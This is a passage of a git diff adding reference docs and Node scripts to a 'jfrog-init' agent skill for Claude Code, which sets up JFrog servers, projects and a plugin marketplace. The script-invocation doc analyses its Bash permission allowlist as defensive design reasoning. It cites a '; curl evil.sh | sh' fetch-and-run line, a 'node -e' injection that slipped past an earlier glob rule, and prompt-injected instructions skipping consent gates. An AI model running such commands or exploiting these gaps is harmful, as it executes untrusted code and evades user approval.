`winget` missing/failing on Windows — falls back to +today's plain message: tell the user to install Node.js ≥ 18 using +whichever method they prefer, then re-run `/jfrog-init`. Do not retry +automatically and do not try a second install method. diff --git a/skills/jfrog-init/references/project-matching.md b/skills/jfrog-init/references/project-matching.md new file mode 100644 index 0000000..6d2a184 --- /dev/null +++ b/skills/jfrog-init/references/project-matching.md @@ -0,0 +1,40 @@ +# Step 6 — project name-or-key resolution algorithm + +Background for Step 6 of `/jfrog-init` (`SKILL.md`). The model doesn't +perform this matching itself — `jfrog-detect-project.mjs` does — but +this explains how a typed name-or-key resolves to a canonical project +key, for debugging an unexpected ambiguous-match or no-match result. + +`jfrog-detect-project.mjs` resolves the input by: + +1. Enumerating accessible projects via `GET /access/api/v1/projects` + (GetProjectsList: + — `fetch` with the token from `jf config export`; the endpoint lives + on the Access service, off the Artifactory root, so `jf rt curl` + cannot reach it; `jf api` is a possible future refactor). Cached per + server for a few minutes (`scripts/lib/project-cache.mjs`) so + re-invoking the detector for each user attempt in the picker doesn't + re-hit the network every time — matching against the list is offline + regardless. +2. Matching the input against `project_key` and `display_name` + (`scripts/lib/projects.mjs`), strictest tier first — each tier only + runs if the previous one had zero matches: + - Exact key (case-insensitive) wins first. + - Exact display-name (case-insensitive) wins next. + - Exact match after stripping every non-alphanumeric character + (`_`, `-`, spaces, ...) from both sides wins next — so `aicatalog` + resolves against key `ai_catalog` / name `ai catalog` without the + separator mattering. This is a fixed internal canonicalization, + never a pattern compiled from user input. + - Unique case-insensitive substring across keys+names wins next. + - Unique substring after the same separator-stripping wins last — + catches partial input that spans a separator, e.g. `aicat` + against `ai_catalog`. + - If more than one project matches at whichever tier first has any + hits, the detector exits red with `candidates` listing the tied + keys, and the model asks the user to be more specific. +3. Once resolved to a canonical key, existence is confirmed via + `GET /access/api/v1/projects/`. + +The detector emits the canonical key on green in the JSON `resolvedKey` +field so the state-file writer can use it. diff --git a/skills/jfrog-init/references/project-picker.md b/skills/jfrog-init/references/project-picker.md new file mode 100644 index 0000000..9988505 --- /dev/null +++ b/skills/jfrog-init/references/project-picker.md @@ -0,0 +1,118 @@ +# Step 6 — picking a project interactively + +**This is not optional background reading — it's part of Step 6's +required behavior.** Read this in full before handling any Step 6 +result other than a clean green on the first try (no input needed, or +the typed input needs a picker). Use the exact `AskUserQuestion` +payload shapes below; do not paraphrase or invent your own wording. + +**Everything below — `unresolved`, `candidatesWithNames`, +`similarProjects`, and which bullet you land on — is reasoning for you +to follow silently, never to narrate.** The user never sees why a +particular branch was taken, only the resulting prompt (the +`AskUserQuestion` payload or the plain-text fallback line). + +**Check `unresolved` before anything below.** If the JSON has +`"unresolved": "server"`, this is NOT a project ask — the server-id +itself is ambiguous (multiple jf servers configured, none marked +`isDefault`). This can happen even when re-invoking Step 6 on its own +(e.g. a later "switch project" request), not just on a fresh full +walk. Do not fall through to the project picker below; instead **stop +and read `references/server-picker.md` in full** for the exact +`AskUserQuestion` payload, then re-invoke Step 6 with the picked +server-id as arg 1 (project input, if any, stays arg 2). + +Whenever the detector needs the user to choose — no input was passed, +the typed input didn't match anything (404), or it matched more than +one project (ambiguous) — it emits `candidatesWithNames` (the full +enumerated list, `{key, displayName}`, sorted by key) alongside the +red/ask result, as long as enumeration succeeded. Use it to drive an +`AskUserQuestion` picker instead of asking the user to type a key or +name from memory. A confirmed 404 additionally carries +`similarProjects` — up to 2 "did you mean...?" near-misses of the +typed input (see `scripts/lib/projects.mjs`) — which take priority +over the generic first-two when present: + +- **404 with `similarProjects` present** → the typed input was close + to one or two real projects (e.g. typed `widgets20`, JPD has + `widgets2`/`widgets`). Call `AskUserQuestion`, naming what was typed and + offering the suggestions plus "Other": + + ```json + { + "questions": [ + { + "question": "There's no project \"\" — did you mean one of these?", + "header": "Project", + "multiSelect": false, + "options": [ + {"label": "", "description": "Project key: "}, + {"label": "", "description": "Project key: "} + ] + } + ] + } + ``` + + If `similarProjects` has only 1 entry, use it as option 1 and fill + option 2 from the first entry of `candidatesWithNames` that isn't + already used (`AskUserQuestion` requires 2 options minimum). If no + such second entry exists (the JPD has exactly this one project), skip + `AskUserQuestion` entirely and use the plain-text fallback below + instead. On picking a suggestion → re-invoke the detector with that + project's **key** as arg 2. On **Other** → the user types a + different name-or-key; re-invoke with their typed value as arg 2. + +- **Otherwise, if `candidatesWithNames` has 2 or more entries** — no + input was passed, the input was ambiguous, or it was a 404 with no + close-enough `similarProjects` — call `AskUserQuestion` with the + **first two** entries of `candidatesWithNames` (in the order the + detector returned them — never reordered, never chosen by matching + the user's name, git identity, hostname, or any other signal) as the + two options, and rely on the tool's built-in "Other" for typing a + different project: + + ```json + { + "questions": [ + { + "question": "Which project do you want to use?", + "header": "Project", + "multiSelect": false, + "options": [ + {"label": "", "description": "Project key: "}, + {"label": "", "description": "Project key: "} + ] + } + ] + } + ``` + + On picking option 1 or 2 → re-invoke the detector with that + project's **key** as arg 2. On **Other** → the user types a + name-or-key; re-invoke the detector with their typed value as arg 2. + +- **If `candidatesWithNames` has fewer than 2 entries** (enumeration + unavailable, or the JPD genuinely has 0–1 projects) → fall back to a + single plain-text line, no `AskUserQuestion`: + + > *Which project do you want to use?* + + Nothing before, nothing after. Do NOT append any hint about the + accepted input format (no *"(name or key)"*, no *"you can type a key + or name"*, no *"either the display name or key works"*). + +- **Never surface the full candidate list or a count** to the user in + any case — the picker's two options (plus "Other") or the plain-text + fallback are the entire user-facing surface. + +Once the user picks or types a value, re-invoke the detector with it +as arg 2: + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-project.mjs" "" ""; rc=$?; true +``` + +**Do NOT** `export JF_PROJECT=…`. The only state write is the one +SKILL.md's Final summary mandates (`jfrog-state-file.mjs set`), or +`jfrog-detect-all.mjs`'s own write when running the batch walk. diff --git a/skills/jfrog-init/references/project-resolution-branches.md b/skills/jfrog-init/references/project-resolution-branches.md new file mode 100644 index 0000000..4e4d1d3 --- /dev/null +++ b/skills/jfrog-init/references/project-resolution-branches.md @@ -0,0 +1,56 @@ +# Step 6 — resolve/validate branches + +**Required behavior for Step 6, not optional background.** Read this in +full whenever `jfrog-detect-project.mjs` returns anything other than a +clean exit 0. + +- **Exit 2 (`ask`) with `"unresolved": "server"`** → not a project ask + — the server-id is ambiguous. Follow "Resolving `` for + Steps 4-7" in `SKILL.md` (prompt for a server from `candidates`), then + re-invoke Step 6 with the picked server-id as arg 1. +- **No input passed (`ask`, exit 2, no `unresolved`)** → use the + picker/free-form ask from `references/project-picker.md`, then + re-invoke with the picked value as arg 2. +- **Input passed (resolve + validate)** → + - **Exit 0 (green)** → project exists and is accessible; the + canonical key is in the JSON `resolvedKey` field. Proceed to + Step 7 (`jfrog-detect-catalog-runtime.mjs [server-id]`), which + takes no project argument — the input string only needs to be + kept around as arg 2 to `jfrog-detect-all.mjs` itself, so a + re-run re-resolves Step 6 the same way. + - **Exit 1 (red)** → ambiguous input, 404, or 403 — **cap re-asks at + one retry within a single walk.** The first time any of these + three happens, re-run the picker/free-form ask (`project-picker.md`); + if the user's second attempt *also* comes back ambiguous/404/403, + stop asking — proceed to Step 7 without a resolved project + (non-blocking, same pattern as Step 5), and note it in the Final + Summary instead of asking a third time. Never loop indefinitely on + a silently-automatic retry the user didn't explicitly choose to + continue (unlike Step 3's config picker, which loops on an + explicit "did you finish?" the user opts into each time). + - Ambiguous input → `candidates` lists the tied keys; re-run the + picker/free-form ask (using the full `candidatesWithNames`, not + just the tied subset). + - HTTP 404 → project does not exist on this JPD; re-run the + picker/free-form ask. + - HTTP 403 → project exists but the user isn't entitled to this + **specific** one — JFrog project ACLs are per-project, so this + says nothing about any other project. Show the raw error, then + re-run the picker/free-form ask (using `candidatesWithNames`, + same as the 404 case) so the user can pick a different project + instead of dead-ending; mention they can also ask their JFrog + admin for access to the one they tried. + - HTTP 5xx, or the probe could not connect at all → the JPD is + erroring or unreachable right now. Re-picking won't help, so show + the raw error and move on rather than re-running the picker; the + Final Summary reports it via `projectResolved: false`. (Grouped + with the retryable reds rather than with Exit 3 because it is a + transient backend/network condition, not a broken setup — the + same reason `jfrog-detect-catalog-runtime.mjs` calls its own + "can't connect" red.) + - **Exit 3 (error)** → `jf` missing, credentials unavailable/rejected + (including HTTP 401 — this says nothing about whether the project + exists), a 2xx response that wasn't shaped like the real GetProject + endpoint, or an unexpected HTTP code. Show the raw detector error — + this one is a genuine stop, not subject to the retry cap above (no + re-pick can fix bad credentials). diff --git a/skills/jfrog-init/references/project-state-reuse.md b/skills/jfrog-init/references/project-state-reuse.md new file mode 100644 index 0000000..6d18576 --- /dev/null +++ b/skills/jfrog-init/references/project-state-reuse.md @@ -0,0 +1,51 @@ +# Step 6 — state reuse across walks + +**Required behavior at the start of Step 6, not optional background.** +After a successful walk, `jfrog-detect-all.mjs` writes a hint to +`~/.jfrog/setup.json` containing the resolved JFrog server ID, JPD URL, +and canonical project key (as `currentActiveProject` — no timestamp is +stored; it's a pointer to what's active now, not a usage log). On +subsequent walks, before asking the user for a project, the model MUST: + +1. Read the state file for the current server ID via + `node "${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" get-current-project ` + — stdout is JSON `{"currentActiveProject": "...", "jpdUrl": "..."}` + (fields omitted if there's no record for this server-id). +2. If `currentActiveProject` is present AND its `jpdUrl` matches the + URL `jf config show --format=json` reports for this same server-id + today — after stripping any trailing `/artifactory` or `/ui` suffix + and trailing slash from that freshly-read URL, the same + normalization already applied to the stored `jpdUrl` — call + `AskUserQuestion` with this exact payload shape (substituting the + real key for ``). A raw, un-normalized comparison will treat + the server as "repointed" and skip the reuse prompt on every walk + for any JPD whose config URL carries one of those suffixes: + + ```json + { + "questions": [ + { + "question": "Reuse project from your last setup?", + "header": "Project", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Use again."}, + {"label": "No", "description": "Pick a different project."} + ] + } + ] + } + ``` + +3. On **Yes** → re-invoke the detector with `` as + arg 2. On **No** → fall through to the picker/free-form ask (see + `project-picker.md`). +4. If the state file has no entry for this server (or the JPD URL + drifted), skip the reuse prompt entirely and go straight to the + picker/free-form ask. + +The state file only stores public identifiers — never a token, +password, session, or any other secret, and never a timestamp. Whenever +Steps 1-4 pass, the Final summary's `jfrog-state-file.mjs set` (or +`jfrog-detect-all.mjs` in the batch walk) updates it atomically (temp +file + rename). diff --git a/skills/jfrog-init/references/script-invocation.md b/skills/jfrog-init/references/script-invocation.md new file mode 100644 index 0000000..e1c6def --- /dev/null +++ b/skills/jfrog-init/references/script-invocation.md @@ -0,0 +1,208 @@ +# Invoking scripts: avoid the red "Error" framing + +Every `node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-*.mjs"` command shown anywhere +in `SKILL.md` signals red/ask states via a non-zero exit code, by +design. When run directly, the harness renders that as a red `Error: +Exit code N` block — an expected red/ask result looking identical to a +genuine tool failure. Since this skill's own reasoning depends on the +exit code (0/1/2/3 map to green/red/ask/error), don't discard it — +just stop it from also flipping the *shell's* final status, so the +harness doesn't flag it: + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-cli.mjs"; rc=$?; true +``` + +**Capture `rc` — a bare `; true` is not enough for any detector.** Every +Step's branch table in `SKILL.md` is written in terms of the exit code +(`Exit 0 (green)`, `Exit 2 (ask)`, …), and `; true` on its own *discards* +that code: `true` becomes the last command, so `$?` is 0 no matter what +the detector reported, and every red/ask result silently reads as green. +`rc=$?` runs before the trailing `true`, so it records the detector's +real code while still leaving the shell's final status at 0. Read `$rc` +for the branch table and the JSON on stdout for the detail. + +The only commands that may use a bare `; true` are the ones nothing +branches on by exit code — Step 1's `node --version` / `npx --version` +(read the printed version instead) and +`jfrog-reinstall-jfrog-plugin.mjs` (always exits 0). + +This is a wording-level mitigation, not a full fix — the command and +its JSON preview may still be visible in the collapsed tool-call line +— but it removes the alarming error styling at no extra cost. + +Step 1 has no script, but the same trick applies to its bare commands +for the same reason — `node --version` and `npx --version` both exit +non-zero if the binary is missing: + +```bash +node --version; true +npx --version; true +``` + +## What's deliberately not pre-approved + +`allowed-tools` in `SKILL.md` covers `node --version`, the six read-only +detectors named individually — `node +"${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-catalog-runtime.mjs"`, +`jfrog-detect-jf-cli.mjs`, `jfrog-detect-jf-config.mjs`, +`jfrog-detect-jfrog-mcp.mjs`, `jfrog-detect-project.mjs`, and +`jfrog-detect-server-ping.mjs` — and `node +"${CLAUDE_SKILL_DIR}/scripts/jfrog-re*.mjs"` (the purely diagnostic +`jfrog-reinstall-jfrog-plugin.mjs` and the two `jfrog-resolve-*.mjs` +lookups), `node +"${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" get`/`get-current-project`/`path` +(the read-only modes only), `npx --version`, and `uname`. It does +**not** cover: + +- Step 1's `nvm` install (`curl … | bash`, see `node-install-prompt.md`) +- Step 1's Windows Node install (`winget install …`, see + `node-install-prompt.md`) +- Step 1's `jfrog-install-jf-cli.mjs` (downloads/executes a binary and + edits shell rc files — see `jf-cli-install-prompt.md`) +- Step 3's web-login scripts (`node …/jfrog-login-*.mjs`, see + `jf-config-auth-picker.md`) +- `jfrog-detect-all.mjs` (the "run everything at once" entry point — see + `batch-walk.md`). This is **not** a member of the `jfrog-detect-*.mjs` + grant despite the name: an earlier version of this grant used that exact + wildcard and pre-approved `jfrog-detect-all.mjs` along with it, silently + contradicting the "read-only detectors" framing above — `jfrog-detect-all.mjs` + itself writes `~/.jfrog/setup.json` on overall green (see the Final + summary in `SKILL.md`), the same mutation `jfrog-state-file.mjs set` + is excluded below for. PR review caught this; the fix was to enumerate + the six read-only detectors by exact filename instead of a wildcard, + which also closes a path-traversal-shaped concern with the wildcard + form (`jfrog-detect-*.mjs` has no anchor stopping `*` from matching + path separators, unlike an exact filename). +- `jfrog-substitute-mcp-placeholders.mjs` (the one script that edits the + plugin's `mcp.json` in place — see `mcp-plugin-config.md`). **Unlike + every other entry in this list, this exclusion is theoretical, not + operative**: `SKILL.md` never invokes this script as a standalone + `node "${CLAUDE_SKILL_DIR}/scripts/jfrog-substitute-mcp-placeholders.mjs"` + Bash command, so its absence from `allowed-tools` never actually + gates anything. Its only real call site is the in-process import in + `jfrog-detect-jfrog-mcp.mjs` (itself one of the six explicitly-named + detectors above) — the harness's permission system approves Bash + commands, not the function calls a pre-approved script makes once + running, so the mutation executes with no prompt whenever Step 5 finds + a placeholder. This is intentional, not an oversight: the write is + narrowly scoped to `mcpServers.jfrog.url`, atomic (temp file + rename), + and idempotent — see `mcp-plugin-config.md` for why that scope was + judged safe to run unattended, unlike the two mutations below. +- `jfrog-state-file.mjs`'s **`set`** mode (writes `~/.jfrog/setup.json` + with caller-supplied server-id/URL/project-key — see the Final summary + in `SKILL.md`) +- `jfrog-add-claude-marketplace.mjs` (Step 8 — rewrites `~/.netrc` and + calls `claude plugin marketplace add`, mutating Claude Code's own + marketplace config — see `marketplace-setup.md`). **Unlike the other + entries in this list, this one has no prior `AskUserQuestion` consent + step** — the harness's own approval prompt is the only gate before it + runs (the harness-detection check in front of it is a skip/routing + check, not a consent prompt). Treat that as a known gap worth + revisiting, not as already covered by the "Approval model" list at + the top of `SKILL.md`. + +Granting `Bash(curl:*)` / `Bash(bash:*)` / `Bash(winget:*)` for the +first four would pre-approve arbitrary shell execution, arbitrary +network transfer, or (via `winget install`'s own flags, e.g. +`--override`, which passes raw args straight to the underlying +installer) arbitrary extra installer arguments — a `Bash(...)` wrapper +around an interpreter, or a trailing wildcard on an installer command, +is not a scope. It would also buy nothing: `nvm`/Windows-Node-install +and web-login already sit behind their own `AskUserQuestion` consent +prompt, so the user has agreed before either runs. + +`jfrog-install-jf-cli.mjs`, `jfrog-substitute-mcp-placeholders.mjs`, +`jfrog-state-file.mjs set`, and `jfrog-add-claude-marketplace.mjs` are +excluded for a related but distinct reason: they're the four scripts in +this directory that mutate something outside their own process (a +downloaded binary made executable and run, the plugin's `mcp.json`, the +setup state file, and `~/.netrc` plus Claude Code's own marketplace +config, respectively) rather than just reading state and emitting JSON. +A prior version of this grant covered every `*.mjs` in `scripts/` +indiscriminately — PR review on this same branch pointed out that +pre-approves running any of these without the model (or a +prompt-injected instruction it's following) ever hitting the +`AskUserQuestion` gates their *documented* call sites sit behind; the +grant itself enforced nothing. Naming the read-only scripts individually +and leaving these four to fall through to the harness's own approval +closes that gap — **for `jfrog-install-jf-cli.mjs` and +`jfrog-state-file.mjs set`**, both of which `SKILL.md` only ever runs as +their own standalone Bash command, behind their own `AskUserQuestion` +(see `jf-cli-install-prompt.md` and the Final summary, respectively). +`jfrog-substitute-mcp-placeholders.mjs` is the exception: as noted +above, it has no standalone Bash call site in the documented flow, so +there is no gap for this grant to close for it — its mutation runs +unattended by design, not because this list forgot it. +`jfrog-add-claude-marketplace.mjs` is a different kind of gap: it *does* +have a standalone Bash call site (Step 8 invokes it directly), but +unlike `jfrog-install-jf-cli.mjs` / `jfrog-state-file.mjs set` there is +no `AskUserQuestion` sitting in front of it — the harness's Bash prompt +is the only consent point. That asymmetry is called out, not resolved, +here; see the bullet above. + +`node` is itself an interpreter, the same category being ruled out +above for `curl`/`bash`/`winget` — but unlike those, it isn't ungated by +a fixed string: every real invocation is either the literal `node +--version` (Step 1) or `node "${CLAUDE_SKILL_DIR}/scripts/.mjs"`. +`${CLAUDE_SKILL_DIR}` is a harness-substituted variable, not a +wildcard: Claude Code replaces it with this skill's own absolute +directory in *both* the rendered `SKILL.md` content the model reads and +the `allowed-tools` Bash rules the harness matches against, before +either is used — so the two are guaranteed byte-for-byte identical +regardless of how deep the real install path is +(`~/.agents/skills/jfrog-init`, several directories deeper under a +Cursor plugin cache path, a `dev/dev-symlinks.sh` dev symlink, etc.), +never something the model has to resolve itself. + +That guarantee is also why each pattern below anchors on a literal +`node "${CLAUDE_SKILL_DIR}` immediately, e.g. `Bash(node +"${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-*.mjs"*)`. An earlier version +of this grant anchored on a bare `node /*/skills/jfrog-init/…` glob +instead — a real command-injection gap PR review caught: Claude Code's +own permission docs state a bare `*` matches any sequence of +characters including spaces, so an unanchored `node */skills/…` also +matches `node -e '' /whatever/skills/jfrog-init/scripts/dummy.mjs` +(`node -e` ignores the trailing path and just runs the eval string, but +the *command text* still satisfies the glob). Anchoring on a literal +`/` right after `node ` closed that (`-e` doesn't start with `/`) — but +left a second, quieter gap a later review round caught: every +invocation this file shows quotes the path (`node "/…mjs"`), +while that glob pattern had no quote in it at all, so pattern and real +command text diverged on the very first character after `node ` — +never confirmed as broken because nobody had run the actual quoted +command against the actual unquoted pattern. Anchoring on the literal, +quoted `${CLAUDE_SKILL_DIR}` variable instead of a glob closes both at +once: `node -e` still can't start with a literal `"`, and there's no +glob left to diverge from the real command — the pattern *is* the +command, substituted the same way on both sides. + +A trailing bare `*` after the closing quote (covering each script's +own optional positional args, e.g. `[server-id]`) is safe here for a +different reason than the anchor: Claude Code splits compound commands +on shell operators (`;`, `&&`, `|`, …) and matches each resulting +subcommand independently against the allowlist. An appended `; +curl evil.sh | sh` becomes its *own* subcommand, which has to clear the +allowlist on its own merits — it can't ride through on this rule's +wildcard just because the wildcard is unbounded on the right. + +Claude Code's own docs are still explicit that argument-constraining +Bash patterns are inherently fragile in general and recommend +PreToolUse hooks for anything that needs a hard guarantee — not +available to a skill shipped as a plain directory. Treat this anchor as +a real improvement, not a proof of soundness against every possible +`node` flag combination. And treat it as Claude-Code-specific: Cursor +doesn't consult `allowed-tools` for Bash approval at all (a separate +mechanism, `.cursor/cli.json`'s own `Shell(...)` rules), so every +command in this file still raises its own prompt there regardless of +how this pattern is written. + +So expect the harness to raise its own approval prompt for every case +listed at the top of this section — **except `jfrog-substitute-mcp-placeholders.mjs`**, +whose mutation runs unattended via the in-process call from +`jfrog-detect-jfrog-mcp.mjs` as documented above. Both outcomes are +intended. Do not treat either as a misconfiguration, and do not suggest +widening `allowed-tools` to silence the prompts, or adding a standalone +`allowed-tools` entry for the substituter to "fix" its silence — that +would just pre-approve a second, redundant call path into the same +mutation. diff --git a/skills/jfrog-init/references/server-picker.md b/skills/jfrog-init/references/server-picker.md new file mode 100644 index 0000000..0e46e2d --- /dev/null +++ b/skills/jfrog-init/references/server-picker.md @@ -0,0 +1,59 @@ +# Resolving an ambiguous server-id — the picker + +**Required behavior whenever any detector that takes `[server-id]` +exits `ask` (`status: "ask"`) with a `candidates` list of server IDs +— not optional background.** This is shared, unmodified, across every +step in "Resolving `` for Steps 4-7" in `SKILL.md`: Step 4 +(`jfrog-detect-server-ping.mjs`), Step 5's placeholder substitution +(`jfrog-detect-jfrog-mcp.mjs`), Step 6 (`jfrog-detect-project.mjs`, +distinguished by `"unresolved": "server"` — see +`references/project-picker.md`), and Step 7 +(`jfrog-detect-catalog-runtime.mjs`). All of them resolve a server-id +through the same shared code (`scripts/jfrog-resolve-jf-server.mjs`), +so `candidates` is always the same shape: a plain array of configured +server-id strings, e.g. `["prod", "staging"]`. + +This can only happen when **2 or more** servers are configured with +none marked `isDefault` — ambiguity by definition requires at least +two candidates, so unlike the project picker there is no "fewer than +2" plain-text fallback case here. + +**All of the above — `unresolved`, `candidates`, which step/detector +triggered this — is reasoning for you to follow silently, never to +narrate.** The user never sees why they're being asked, only the +`AskUserQuestion` payload itself. + +Call `AskUserQuestion` with the **first two** entries of `candidates` +(in the order the detector returned them — never reordered, never +chosen by matching a hostname, git identity, or any other signal) as +the two options, and rely on the tool's built-in "Other" for typing a +different server-id: + +```json +{ + "questions": [ + { + "question": "Which JFrog server do you want to use?", + "header": "Server", + "multiSelect": false, + "options": [ + {"label": "", "description": "Server ID: "}, + {"label": "", "description": "Server ID: "} + ] + } + ] +} +``` + +**Never surface the full candidate list or a count** to the user in +any case — the picker's two options (plus "Other") are the entire +user-facing surface, same rule as the project picker. + +On picking option 1 or 2, or typing a value via **Other** → re-invoke +**the same detector that emitted the ask** (never a different one) +with the picked/typed server-id as the positional argument that step +expects (see that step's own usage line in `SKILL.md`). Never invent a +server-id, never rely on `jf`'s own default-resolution fallback — the +whole point of asking is that this skill's own resolution order +(explicit arg → `JF_SERVER_ID` → `isDefault` → sole server) already +came up empty. diff --git a/skills/jfrog-init/scripts/jfrog-add-claude-marketplace.mjs b/skills/jfrog-init/scripts/jfrog-add-claude-marketplace.mjs new file mode 100755 index 0000000..2ef5c2a --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-add-claude-marketplace.mjs @@ -0,0 +1,97 @@ +#!/usr/bin/env node +// Registers the JFrog Claude agent-plugin marketplace for the server this walk +// resolved. See references/marketplace-setup.md. +// +// Usage: node jfrog-add-claude-marketplace.mjs [server-id] +// Exit 0 -> registered +// Exit 1 -> unusable jf config, or the marketplace call failed +// Exit 3 -> jf missing or not running, or claude missing from PATH + +import { claude, marketplaceAdd } from "./lib/claude.mjs"; +import { + describeJfUnavailable, + isMainModule, + JF_CLI_TIMEOUT_MS, + jfAvailable, + jfConfigExportResult, + jfConfigShow, + parseJpdUrl, + tokenUsername, +} from "./lib/jf.mjs"; +import { writeNetrc } from "./lib/netrc.mjs"; +import { resolveJfServer } from "./jfrog-resolve-jf-server.mjs"; + +const MARKETPLACE_PATH = "/ml/core/api/v1/ai-registry/agent-plugins/custom/marketplace/claude-marketplace.json"; +const MARKETPLACE_PREFIXES = ["", "/bridge-client"]; // SaaS first, then self-hosted + +// process.exit() can cut off a piped stdout write. +const fail = (msg, exitCode = 1) => { + throw Object.assign(new Error(msg), { exitCode }); +}; + +function readServerCreds(serverId) { + const { cfg, timedOut } = jfConfigExportResult(serverId); + if (timedOut) { + fail(`ERROR: jf did not respond within ${JF_CLI_TIMEOUT_MS / 1000}s (running: jf config export).`); + } + if (!cfg) { + fail(serverId + ? `ERROR: no jf server '${serverId}' configured.` + : "ERROR: no default jf server. Run 'jf login' or 'jf config use '."); + } + + const jpd = parseJpdUrl(cfg.url || cfg.artifactoryUrl || ""); + if (!jpd) fail("ERROR: could not parse the jf server URL."); + + const token = cfg.accessToken || ""; + const login = cfg.user || (token ? tokenUsername(serverId) : ""); + if (!token || !login) fail(`ERROR: missing access token or username for '${serverId}'. Run 'jf login'.`); + + return { jpd, login, token }; +} + +function marketplaceUrl({ jpd, login, token }, prefix) { + const userinfo = `${encodeURIComponent(login)}:${encodeURIComponent(token)}`; + const base = `${jpd.host}${jpd.pathname.replace(/\/+$/, "")}`; + return `${jpd.protocol}//${userinfo}@${base}${prefix}${MARKETPLACE_PATH}`; +} + +function redactToken(text, token) { + return text.split(encodeURIComponent(token)).join("***"); +} + +function register(argServerId) { + if (!jfAvailable()) fail(`ERROR: ${describeJfUnavailable()}`, 3); + if (!claude.found) fail("ERROR: claude not on PATH.", 3); + + const creds = readServerCreds(resolveJfServer(argServerId, jfConfigShow())); + // libcurl matches a netrc machine by bare hostname. + const wrote = writeNetrc(creds.jpd.hostname, creds.login, creds.token); + if (!wrote.ok) fail(`ERROR: ${wrote.error}`); + + const failures = []; + for (const prefix of MARKETPLACE_PREFIXES) { + const { ok, out } = marketplaceAdd(marketplaceUrl(creds, prefix)); + if (ok) { + process.stdout.write(redactToken(out, creds.token)); + return 0; + } + failures.push(out); + } + process.stderr.write(redactToken(failures.join(""), creds.token)); + return 1; +} + +function main(argServerId) { + try { + return register(argServerId); + } catch (err) { + if (err.exitCode === undefined) throw err; + process.stderr.write(`${err.message}\n`); + return err.exitCode; + } +} + +if (isMainModule(import.meta.url)) { + process.exitCode = main(process.argv[2] || ""); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-all.mjs b/skills/jfrog-init/scripts/jfrog-detect-all.mjs new file mode 100755 index 0000000..7efdbcd --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-all.mjs @@ -0,0 +1,235 @@ +#!/usr/bin/env node +// Runs the detectors in dependency order and reports one JSON summary line. +// Idempotent, read-only, zero mutation (aside from the state-file hint on +// green) — safe to run repeatedly. +// +// Usage: node jfrog-detect-all.mjs [server-id] [project-input] +// +// `project-input` is a name-or-key string — jfrog-detect-project.mjs resolves it +// to a canonical key against the enumerated project list, then validates. +// +// Order (linear; stop at first non-green, non-"ask"): +// 1. Node.js >= 18 -> inline (running this .mjs file already +// proves Node exists; only the version and `npx` need checking) +// 2. jf CLI installed -> jfrog-detect-jf-cli.mjs +// 3. jf server configured -> jfrog-detect-jf-config.mjs +// 4. server reachable -> jfrog-detect-server-ping.mjs +// 5. jfrog MCP -> jfrog-detect-jfrog-mcp.mjs +// 6. project resolved -> jfrog-detect-project.mjs +// 7. AI Catalog + entitled -> jfrog-detect-catalog-runtime.mjs +// +// Step 6 does NOT read JF_PROJECT and does NOT export anything. The +// picked project input is passed as the 2nd positional argument and +// threaded forward. On green, this script writes a hint to +// ~/.jfrog/setup.json so subsequent walks can offer "reuse the current +// project" — the file only stores public identifiers (server ID, JPD +// URL, canonical project key), never secrets, never a timestamp. +// +// Step 7 going red — exit 1 (catalog not hosted at this JPD / unreachable +// / 5xx) OR exit 4 (reachable but not entitled) — is NON-BLOCKING: Steps +// 1-4 are what "green" means here, and both catalog outcomes +// are reported separately via `catalogEntitled` (and `catalogReason` +// when false) in the final summary line, so a user with no AI Catalog on +// this JPD, or no entitlement to it, still gets a completed, usable +// setup instead of a dead-end red result over a feature this skill's +// core prerequisites (Steps 1-4) don't depend on. +// +// Step 5 (jfrog MCP) going red or erroring is ALSO non-blocking, for +// the same reason: Steps 6 and 7 call the JPD's REST APIs directly +// with credentials from `jf config`, never through `mcpServers.jfrog`, +// so a broken/missing plugin mcp.json doesn't affect whether those +// checks are accurate. Reported separately via `mcpConfigured`. An +// ambiguous server-id (exit 2, "ask") is the one Step 5 outcome that +// still blocks — every step from here on needs a resolved server-id, +// so there's nothing to skip ahead to. +// +// Step 6 (project) going red (no match / not entitled / ambiguous +// match — exit 1 only) is ALSO non-blocking here — this script makes +// exactly one resolution attempt per invocation; the interactive walk +// (SKILL.md) is what re-asks the user for a different project, capped at +// one retry so it can't loop forever. Whether this is the user's first +// attempt or their last, this script itself has no way to tell the +// difference, so it always reports the gap rather than blocking, via +// `projectResolved`. Exit 3 (jf missing, credentials rejected, or an +// unexpected response shape) is a genuine error, NOT covered by this +// non-blocking treatment — same as Step 5's own exit 2, it still sets +// `overall = 1`. The state-file write still happens (server + JPD +// URL known is reason enough to remember them) — it's passed an empty +// project key, and jfrog-state-file.mjs keeps whatever project was +// already on record rather than erasing it. An ambiguous server-id +// (exit 2, "ask") still blocks, same reasoning as Step 5. +// +// Exit 0 -> Steps 1-4 green (see catalogEntitled / mcpConfigured / +// projectResolved for the three non-blocking gaps) +// Exit 1 -> a check failed / went red / requires action + +import { emit, jfAvailable, jfConfigShow, urlForServer, normalizeJpdUrl } from "./lib/jf.mjs"; +import { commandExists } from "./lib/command.mjs"; +import { resolveJfServer } from "./jfrog-resolve-jf-server.mjs"; +import { detectJfCli } from "./jfrog-detect-jf-cli.mjs"; +import { detectJfConfig } from "./jfrog-detect-jf-config.mjs"; +import { detectServerPing } from "./jfrog-detect-server-ping.mjs"; +import { detectJfrogMcp } from "./jfrog-detect-jfrog-mcp.mjs"; +import { detectProject } from "./jfrog-detect-project.mjs"; +import { detectCatalogRuntime } from "./jfrog-detect-catalog-runtime.mjs"; +import { setStateForServer } from "./jfrog-state-file.mjs"; + +const SERVER_ID = process.argv[2] || ""; +const PROJECT_KEY = process.argv[3] || ""; + +// Step 1 has no script to shell out to (see Step 1 in SKILL.md) — running +// this file already proves Node exists, so only the version and `npx` +// need checking. +function checkNode() { + const major = parseInt(process.versions.node, 10); + if (major < 18) { + emit({ check: "node", status: "red", detail: `Node.js v${process.versions.node} is too old — jfrog-init requires Node >= 18.` }); + return 1; 